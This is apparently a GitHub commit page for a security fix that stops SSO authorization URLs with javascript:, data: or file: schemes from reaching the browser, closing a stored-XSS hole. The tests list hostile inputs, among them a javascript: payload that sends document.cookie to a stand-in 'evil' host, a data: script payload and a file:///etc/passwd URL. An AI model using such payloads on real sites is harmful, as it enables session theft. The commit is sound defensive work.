Skip to content

Commit a5e82ae

Browse files
security: harden SSO authorize URL against javascript: scheme (XSS-VULN-02) (#329)
2 parents e8100fe + dbcb5c7 commit a5e82ae

4 files changed

Lines changed: 85 additions & 6 deletions

File tree

server/src/identity_access_management_context/adapters/secondary/oauth2_sso_gateway.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -102,6 +102,13 @@ def _get_oauth_client(self, config: SsoConfiguration) -> AsyncOAuth2Client:
102102

103103
async def get_authorize_url(self, config: SsoConfiguration, state: str | None = None) -> str:
104104
"""Generate OAuth2 authorization URL."""
105+
# Defense in depth: never hand a non-https authorization endpoint to the
106+
# client. A `javascript:`/`data:` value (e.g. from a config persisted before
107+
# discovery-time validation existed) would be a stored XSS once the browser
108+
# assigns it to window.location. Only the scheme matters here (the server
109+
# never connects to this endpoint), so skip the DNS/SSRF checks.
110+
self._url_validator.validate_scheme(config.authorization_endpoint)
111+
105112
client = self._get_oauth_client(config)
106113

107114
# Generate authorization URL with a caller-provided state for CSRF protection

server/src/identity_access_management_context/adapters/secondary/sso_url_validator.py

Lines changed: 21 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
import ipaddress
22
import socket
3-
from urllib.parse import urlparse
3+
from urllib.parse import ParseResult, urlparse
44

55
from identity_access_management_context.domain.exceptions import (
66
DisallowedSsoEndpointException,
@@ -24,14 +24,22 @@ class SsoUrlValidator:
2424
def __init__(self, allow_private_networks: bool = False) -> None:
2525
self._allow_private_networks = allow_private_networks
2626

27+
def validate_scheme(self, url: str) -> None:
28+
"""Reject disallowed schemes (``javascript:``, ``data:``, …) and empty hosts.
29+
30+
Strict mode allows only ``https``; with ``allow_private_networks=True`` it also
31+
allows ``http`` (dev / localhost IdP). Cheap: no DNS resolution. Use where the
32+
URL is handed to a *client* to navigate to (the server never connects there), so
33+
only the scheme matters — e.g. an authorization endpoint returned by
34+
``/auth/sso/url``. Closes the stored-XSS vector (``window.location`` on a
35+
``javascript:`` URL).
36+
"""
37+
self._require_http_scheme(url)
38+
2739
def validate(self, url: str) -> None:
28-
parsed = urlparse((url or "").strip())
40+
parsed = self._require_http_scheme(url)
2941
scheme = parsed.scheme.lower()
3042

31-
allowed_schemes = {"https", "http"} if self._allow_private_networks else {"https"}
32-
if scheme not in allowed_schemes or not parsed.hostname:
33-
raise DisallowedSsoEndpointException()
34-
3543
if self._allow_private_networks:
3644
return
3745

@@ -52,3 +60,10 @@ def validate(self, url: str) -> None:
5260
or ip.is_unspecified
5361
):
5462
raise DisallowedSsoEndpointException()
63+
64+
def _require_http_scheme(self, url: str) -> ParseResult:
65+
parsed = urlparse((url or "").strip())
66+
allowed_schemes = {"https", "http"} if self._allow_private_networks else {"https"}
67+
if parsed.scheme.lower() not in allowed_schemes or not parsed.hostname:
68+
raise DisallowedSsoEndpointException()
69+
return parsed

server/tests/identity_access_management_context/integration/test_sso_oidc_integration.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -241,6 +241,27 @@ async def test_should_reject_discovery_url_targeting_cloud_metadata(strict_gatew
241241
assert "169.254" not in str(exc_info.value)
242242

243243

244+
@pytest.mark.asyncio
245+
async def test_should_reject_javascript_authorization_endpoint_in_authorize_url(strict_gateway: OAuth2SsoGateway):
246+
# A config poisoned before discovery-time validation existed must never yield a
247+
# `javascript:` URL from /auth/sso/url (stored XSS via window.location).
248+
payload = "javascript:fetch('//evil?c='+document.cookie)"
249+
config = SsoConfiguration(
250+
client_id="x",
251+
client_secret="encrypted(x)",
252+
discovery_url="https://idp.example.com/.well-known/openid-configuration",
253+
authorization_endpoint=payload,
254+
token_endpoint="https://idp.example.com/token",
255+
userinfo_endpoint="https://idp.example.com/userinfo",
256+
jwks_uri="https://idp.example.com/jwks",
257+
updated_at=datetime.fromtimestamp(0),
258+
client_secret_decrypted="x",
259+
)
260+
with pytest.raises(InvalidSsoSettingsException) as exc_info:
261+
await strict_gateway.get_authorize_url(config)
262+
assert "document.cookie" not in str(exc_info.value)
263+
264+
244265
@pytest.mark.asyncio
245266
async def test_should_reject_http_discovery_url_in_strict_mode(strict_gateway: OAuth2SsoGateway):
246267
with pytest.raises(InvalidSsoSettingsException):

server/tests/identity_access_management_context/integration/test_sso_url_validator.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,3 +67,39 @@ def test_should_allow_http_localhost_when_private_networks_allowed(self):
6767
def test_should_still_reject_non_http_scheme(self):
6868
with pytest.raises(DisallowedSsoEndpointException):
6969
SsoUrlValidator(allow_private_networks=True).validate("file:///etc/passwd")
70+
71+
72+
class TestSsoUrlValidatorSchemeOnly:
73+
"""validate_scheme guards a URL handed to a browser (no server-side request),
74+
so it checks only the scheme/host and never resolves DNS."""
75+
76+
@pytest.mark.parametrize(
77+
"url",
78+
[
79+
"javascript:fetch('//evil?c='+document.cookie)",
80+
"javascript:alert(1)",
81+
"data:text/html,<script>alert(1)</script>",
82+
"file:///etc/passwd",
83+
"https:///no-host",
84+
"not-a-url",
85+
"",
86+
],
87+
)
88+
def test_should_reject_dangerous_or_malformed_scheme(self, url):
89+
with pytest.raises(DisallowedSsoEndpointException):
90+
SsoUrlValidator().validate_scheme(url)
91+
92+
def test_should_accept_https_without_dns_lookup(self, monkeypatch):
93+
# Would blow up if a DNS resolution were attempted.
94+
def _boom(*args, **kwargs):
95+
raise AssertionError("validate_scheme must not resolve DNS")
96+
97+
monkeypatch.setattr(socket, "getaddrinfo", _boom)
98+
SsoUrlValidator().validate_scheme("https://accounts.google.com/authorize")
99+
100+
def test_should_reject_http_in_strict_mode(self):
101+
with pytest.raises(DisallowedSsoEndpointException):
102+
SsoUrlValidator().validate_scheme("http://accounts.google.com/authorize")
103+
104+
def test_should_allow_http_in_permissive_mode(self):
105+
SsoUrlValidator(allow_private_networks=True).validate_scheme("http://localhost:8080/authorize")

0 commit comments

Comments
 (0)